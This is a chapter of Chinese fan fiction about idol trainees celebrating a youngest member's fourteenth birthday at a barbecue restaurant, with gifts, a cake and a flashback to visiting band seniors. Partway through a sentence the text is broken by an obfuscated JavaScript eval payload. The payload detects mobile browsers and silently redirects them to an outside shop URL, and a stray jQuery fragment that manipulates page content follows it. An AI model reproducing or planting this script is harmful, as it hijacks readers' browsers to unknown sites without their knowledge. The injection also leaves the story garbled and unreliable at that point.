11. 群体识别
作品:《[娱乐圈]巴别塔》 闵玧其的驾照尚在考取中,于是驾驶这辆崭新商务车的重任,便自然而然地落在了唯一拥有正式驾照的靠谱成年人——金硕珍肩上。
他们的第一站是蛋糕店。
今天是9月1日,不仅是安岁秋高中开学的日子[1],也恰好是田柾国的十四岁生日。
小家伙早上出门前还眼巴巴地闹着要去参加安岁秋的开学典礼,被安岁秋连哄带劝地拦下了。
“我有四个家长已经够醒目了,再加你们两个未成年人,是去开派对吗?”
口罩的存在感在那样的阵容面前恐怕会趋近于零。
安岁秋费了好一番口舌,并许下“下次单独带你去游乐园,不带别人”的承诺,才让忙内勉强安分下来。
金泰亨有点吃味,但自觉身为哥哥,拉不下脸像田柾国那样撒娇打滚,他退而求其次,只要求安岁秋给他买一周的冰淇淋作为补偿,并觉得自己十分懂事。
金南俊私下觉得,带不带那俩小的其实差别不大,毕竟安岁秋加上他们四个哥哥的阵容已经足够突出。
不过,看着弟弟们为了这点小事斗嘴打闹的模样,他只觉得可爱。
我们热爱一切萌物的Rap Monster先生如此想到。
蛋糕店是郑号锡推荐的,他提前电话预订了一个八寸的燕麦芝士蛋糕。
鉴于安岁秋那对大部分水果过敏的特殊体质,他特意叮嘱店家:什么水果都不要加,只要燕麦、芝士和奶油。
取完蛋糕,一行人回宿舍接上望眼欲穿的金泰亨和今日的小寿星田柾国,驱车前往江南区近期颇受好评的一家烤肉店。
伙食费大家都有分摊,让田柾国一个孩子买单这种事他们做不出来,于是几个哥哥又悄悄往公共伙食费里多塞了些钱,决定用这笔饱满的经费带孩子们吃顿好的。
“财务总管”郑号锡对着账目上那笔心照不宣的“假账”沉默不语。这里面也有他的一份贡献,他只是默默将蛋糕从六寸升级到了八寸,并心情愉悦地订好了时间。
车上,安岁秋拿出手机,回复了FNC哥哥们发来的消息,他们其实也想来参加他的开学典礼,但如今正值乐队活动上升期,行程密集,别说安岁秋不同意,经纪人那关也过不了。
指尖触到口袋里一个硬硬的小三角——那是李弘基上个月从日本带回的礼物,一枚刻着“Chu.”字样的贝斯拨片。“秋”字的罗马音是“Chu”,也是安岁秋进行音乐创作时使用的署名。
想起上个月那场略显慌乱的闹剧,安岁秋嘴角微扬。
当时,结束日本巡演的李弘基一行,带着给弟弟的礼物兴冲冲赶回公司,却只见到郑容和三人,面面相觑,这才惊觉自家忙内“留下一首歌就跑路了”,且完全没通知他们这群漂泊在外的哥哥。
其实郑容和比安岁秋更心虚。
弟弟明明托他转告李弘基等人,因为自己练习的时间总是跟他们表演的时间重合,搞得日本和韩国也产生了交流时差。
可他忙着准备新专辑,转头就把这事忘了,导致李弘基回来后一度以为孩子“离家出走”了。
郑容和只得硬着头皮,向脸色不善的几位哥复述了前因后果,并极力为弟弟说好话,还拿出那首礼物曲播放。
金南俊从未想过,公司那间狭小的练习室里,会同时挤进那么多位知名艺人——乐队大前辈FTISLAND,以及年初爆红的CNBLUE,其中包括常在大银幕上见到的李弘基和郑容和。
他们齐刷刷站在墙边,对面则是一脸心虚的安岁秋。
田柾国当时紧紧攥着安岁秋的手,生怕这群看起来气势汹汹的前辈会把哥哥带走。金泰亨没完全看懂气氛,小声惊呼“是明星诶”,被身后的金硕珍迅速捂嘴拉回。
郑号锡紧张地咽了咽口水,担心下一秒会不会吵起来。
还是闵玧其最镇定,他推了推堵在门口发呆的金南俊,率先上前,弯腰行了标准的九十度鞠躬礼,用他特有的低沉嗓音道:“前辈们好。”
他不太理解金南俊在紧张什么,安岁秋是自愿来的,又不是被绑架拐来的。
就算当初方时赫有忽悠的成分,但安岁秋在这里明明过得不错,况且,这几位前辈脸上也看不出多少兴师问罪的意味。
果然,下一秒郑容和他们就绷不住笑了,严肃的扑克脸瞬间瓦解。
李弘基把从日本带回来的伴手礼分给这群看起来清瘦却眼神明亮的练习生们。
其实他们年龄相差并不大,除了89年的郑容和,两个乐队的成员多是91、92年生。算起来,就连92年12月出生的金硕珍,也比他们所有人都小——全是弟弟。
郑容和他们此行,主要是想亲眼看看自家小忙内在新环境过得如何,眼见为实,虽然经济条件看起来简朴,但安岁秋的气色和精神似乎比以往更开朗,身边也有了同龄的伙伴,他们总算放下心来。
李弘基揉了揉安岁秋的头发,将那枚刻着“Chu.”的拨片递给他,“歌听了,写得很好。公司已经决定用它当下一张专辑的主打之一了。”
安岁秋抿了抿唇,难得主动地上前,轻轻拥抱了一下许久未见的哥哥。
一旁的姜敏赫挑了挑眉。
哟,看来他们的小忙内在这里确实变得更开朗了,以前可很少见他会主动做出这么亲昵的举动。
随即,他就看到李正信正弯着腰,兴致勃勃地和对面一个长相帅气的男孩聊着什么,两人居然沟通无障碍。
该说不愧都是“四次元”生物吗?
金泰亨和李正信的脑电波意外地对上了。
一群二十岁上下的年轻人,本就没有太多隔阂,最初的尴尬很快消散。
练习室的气氛迅速热络起来,尤其当田柾国睁着圆溜溜的眼睛,好奇地向李弘基他们打听安岁秋以前的事时,那副乖巧的模样,瞬间击中了在场所有哥哥的心。
也是在那次,金硕珍他们才知道,那首红极一时的《孤独的人》的署名制作人“Chu.”,就是安岁秋。
他们早知道弟弟会创作,也听过一些未发布的作品片段,却未曾将他与那个已有成功作品的音乐人联系起来。
金南俊和闵玧其的反应尤其大,作为深度参与创作的成员,他们都知道,不少音乐人会在Naver博客上分享作品片段或完整Beat。
一个署名“Chu.”的创作者,大约两年前开始上传作品,从几十秒的片段到近年完整的免费Beat,进步神速,闵玧其还曾感慨过此人天赋不错。
谁能想到,扒下这个马甲,露出的会是自家弟弟那张漂亮的脸。
“果然天才就是天才啊。”金南俊感慨道。
这么一想,安岁秋平时在创作室捣鼓的那些旋律,确实带有“Chu.”的风格印记,只是他从偏乐队的风格转向嘻哈与流行的跨度有些大,一时没联想起来。
田柾国和金泰亨的反应则更直接。
自那次聚餐后,两个乐队的歌迅速被加入他们的歌单,动不动就哼着《孤独的人》的调子在安岁秋面前晃,还煞有介事地弹着“空气吉他”、敲着“空气架子鼓”,把安岁秋逗得忍俊不禁。
最后还是闵实权出手,一人赏了一记不轻不重的“铁砂掌”,世界才重归清净。
郑号锡默默竖起大拇指,他俩再不停,他感觉自己晚上做梦都会是那段旋律,上厕所都能脑补出伴奏。
“烤肉!烤肉!”
一进餐厅,金泰亨和田柾国就兴奋起来。他们一个艺术高中尚未开学,一个初中生假期余额充足,被闷在宿舍大半天,早就憋坏了,好在哥哥们参加完开学典礼回来得不算太晚。
排烟管道嗡嗡作响,烤盘上的五花肉滋滋冒油,金黄色的油脂顺着肉的纹理滑落,滴在炭火上,“滋啦”一声窜起一小簇带着焦香的白烟。
“哥!再烤一块!我要瘦一点的!”田柾国扒着烤盘边缘,眼睛紧盯着金硕珍手里的烤肉夹。
旁边的闵玧其抬手拍了下他的后脑勺,“急什么,碗里不是还有吗?”
金硕珍熟练地用夹子给肉翻面,待两面都烤出漂亮的焦褐色,才夹起来放进忙内碗里,“慢点吃,烫,没人跟你抢。”
角落里的金泰亨没说话,左手攥着一听冰可乐,右手筷子迅如闪电,夹起一片烤得恰到好处的牛舌,蘸了点酱料,利落地卷进生菜里,塞进嘴时腮帮子鼓鼓的,含糊不清地催促,“我要吃蛋糕!”
郑号锡则专注于另一项任务,他将一片烤得鲜嫩多汁的五花肉仔细卷进生菜,吹了吹,确认温度适宜,然后反手就塞进了旁边安岁秋的嘴里。
“来。”
安岁秋实在太瘦了,明明是该是胶原蛋白满满的年纪,却有着瘦骨嶙峋的漂亮,偏偏胃口又小,吃几口就放下筷子。
若不是他和金硕珍偶然发现这种投喂方式颇为有效,他们真担心高强度训练下,这孩子哪天会体力不支。
虽然需要额外花心思“哄”着弟弟吃饭,但金硕珍和郑号锡丝毫不觉麻烦,看着安岁秋鼓着腮帮子,睁着那双漂亮的眸子慢慢咀嚼的模样,那份满足感甚至胜过美食本身。
另一边,金南俊正小心翼翼地拆着蛋糕盒的丝带,动作轻柔得像在拆炸弹,总算平安无事地将蛋糕完整取出。
八寸的蛋糕,表层铺满了浅金棕色的烘烤燕麦碎,混合着碾碎的碧根果,颗粒分明,边缘微焦,散发着质朴温暖的谷物香气。
金硕珍从旁边的礼品袋里拿出生日帽,戴在田柾国圆圆的脑袋上。
闵玧其用他那骨节分明、适合弹琴的手,在蛋糕中央插上三根细长的蜡烛,摸出打火机,“咔哒”一声点燃。烛芯跃起温暖的光晕,在包厢略显昏暗的光线下轻轻摇曳。
金泰亨嘴里还嚼着肉,却已蹦跳着起身,冲着后厨中气十足地喊:“阿姨!麻烦关一下这边的灯——!”
嗓门洪亮,引得邻桌几个戴棒球帽的女生好奇地侧目。
“啪。”
顶灯应声熄灭。
唯一的光源只剩下蛋糕上那三簇小小的火苗,将围拢过来的少年们的脸庞映得暖融融的,也将他们的影子长长地投在墙壁上。
烤肉的烟气尚未散尽,空气中又融入了奶油与焦糖的甜香。
田柾国双手合十,紧闭双眼,长长的睫毛在烛光中微微颤动。在几道音色各异、却同样真挚的“生日快乐”歌声中,他许下了一个属于十四岁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394860|200357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少年的、郑重而美好的心愿。
“生日快乐,田柾国!”
最后,是安岁秋和田柾国一起吹灭了蜡烛。
田柾国非要拉着他一起,振振有词,“今天也是岁秋哥的开学典礼,也值得庆祝!”
安岁秋对弟弟的撒娇毫无抵抗力,于是两个忙内便头挨着头,脸贴着脸,一起凑近那团温暖的烛光,轻轻吹气。
在光明彻底被黑暗吞没前的最后一瞬,跃动的火光清晰地勾勒出两双漂亮的眼眸。一双圆润明亮,正侧头望向身旁的另一双;另一双则眼尾微垂,含着纵容的笑意。
烛火熄灭后的短暂黑暗被重新亮起的灯光驱散,角落里恢复明亮,田柾国还保持着双手合十的姿势,眼睛亮晶晶的,嘴角是压不住的笑意。
“好了,小寿星,准备收礼物了。”金硕珍笑着拍了拍手。
“还有礼物?”田柾国惊喜地睁大圆眼。
他们以前没有给互相送生日礼物的习惯,都是一起聚餐简单庆祝一下就行了,但是安岁秋是个很有仪式感的孩子,私底下偷偷找了哥哥们商量着打算给忙内一个小惊喜。
“那当然。”郑号锡第一个递过来一个印着书店Logo的崭新纸袋,看起来颇有分量。
“柾国啊,看看这个。”
田柾国小心拆开——是一套全新的《守护甜心》漫画全集[2],封皮色彩鲜亮,书脊整齐。
“上次看你一直在看这个动漫,想着你会喜欢,”郑号锡眼睛弯弯的,“正好出了新的合订版,就想着送你一套完整的。”
田柾国眼睛瞬间亮了,他确实一直很喜欢守护甜心,反正没人规定男生不能看少女漫啊。
“谢谢号锡哥!我会好好收藏的!”
闵玧其没说话,递过来一个崭新的运动鞋盒,上面还系着精致的缎带。
田柾国打开,里面是一双设计简约的白色运动板鞋,皮质柔软,鞋底干净。
“练习消耗大,鞋子磨损快,”闵玧其声音平静,“这双轻便,日常和练习都能穿,试试合不合脚。”他丝毫没提起自己因为准备礼物而熬夜上的几次夜班。
田柾国知道玧其哥平时话不多,但观察总是很细致,他珍重地摸了摸光滑的鞋面。
“谢谢玧其哥!正好我需要一双新鞋!”
金南俊拿出一个用淡紫色包装纸精心包裹的方形礼物,拆开后是IU的专辑《Last Fantasy》[3],专辑封面上IU的笑容清新甜美,塑封都还未拆。
田柾国看到封面时脸上的笑容更加灿烂了,“IU!新专辑!谢谢南俊哥!”
金泰亨的礼物包装得最为花哨,亮黄色的包装纸配上歪歪扭扭的红色蝴蝶结。里面是一个手工制作的黏土玩偶,造型依稀能看出是只咧嘴笑的兔子,虽然手艺稚嫩,但憨态可掬,背后还用记号笔写着“柾国”。
“我自己捏的!”
金泰亨得意地宣布,眼睛亮晶晶的,“花了我好几个晚上呢!像不像柾国?多可爱!”
田柾国看着那只有着独特造型却充满心意的兔子玩偶。
“像!特别可爱!谢谢泰亨哥!”
金硕珍最后拿出一个素雅的黑色礼品袋,从里面取出一件折叠整齐的浅灰色连帽卫衣,卫衣质地柔软,胸口处有一个精巧的宇航员图案刺绣。
“秋天快到了,想着该给我们柾国添件新衣服了,”金硕珍温声说,“图案喜欢吗?像我们柾国一样,未来有无限可能。”
“谢谢哥哥们……”
田柾国声音有些哽咽,不知道还能说什么来表达此刻的心情,怀中那些礼物实实在在的温暖,几乎要烫到他的心口。
就在他努力平复翻涌的情绪时,低垂的视线里,突然出现了一只熟悉的手——手指修长白皙,骨节分明,手背上那颗浅褐色的小痣清晰可见。
那只手微微向前伸着,掌心安静地躺着一个扁平的、磨砂黑色的小方块,边角圆润,像一块光滑的鹅卵石。
田柾国顺着那只手抬头,对上了安岁秋的目光。
对方那双总是显得沉静从容的琥珀色眼眸里,此刻竟漾着一丝罕见的、不易察觉的紧张。他抿了抿唇,声音比平时轻了些,带着一种小心翼翼的试探,轻轻响在渐渐安静下来的空气里。
“柾国呀……”
他顿了顿,似乎在选择措辞,指尖无意识地摩挲了一下那个黑色小方块的边缘。
“我……写了首歌,你要不要……听听看?”
那句话很轻,却像一颗小石子,准确地投入田柾国本就涟漪荡漾的心。
------------------------
参考文献:
[1] 韩国教育部. 韩国高中开学时间[Education]. 新学年通常为3月2日前后. 注:作者在文中时间设计有误。
[2] PEACH-PIT. 守护甜心![M]. 东京:讲谈社,2006–2010(全12卷).
[3] IU. Last Fantasy[CD]. 首尔:LOEN Entertainment,2011-11-29. 注:时间有误,提早了三个月。

